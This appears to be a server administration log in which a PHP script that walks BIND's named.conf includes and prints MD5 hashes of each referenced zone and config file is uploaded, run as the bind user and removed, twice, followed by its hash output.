MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-06 10:31:00: Establishing a connection
2026-05-06 10:31:00: 

PUT: /tmp/pkp845827

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-06 10:31:00: 

runuser -l bind -s /bin/bash -c '/tmp/pkp845827; rm /tmp/pkp845827'

2026-05-06 10:31:00: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-06 10:33:53: Establishing a connection
2026-05-06 10:33:53: 

PUT: /tmp/pkp888616

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-06 10:33:54: 

runuser -l bind -s /bin/bash -c '/tmp/pkp888616; rm /tmp/pkp888616'

2026-05-06 10:33:54: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
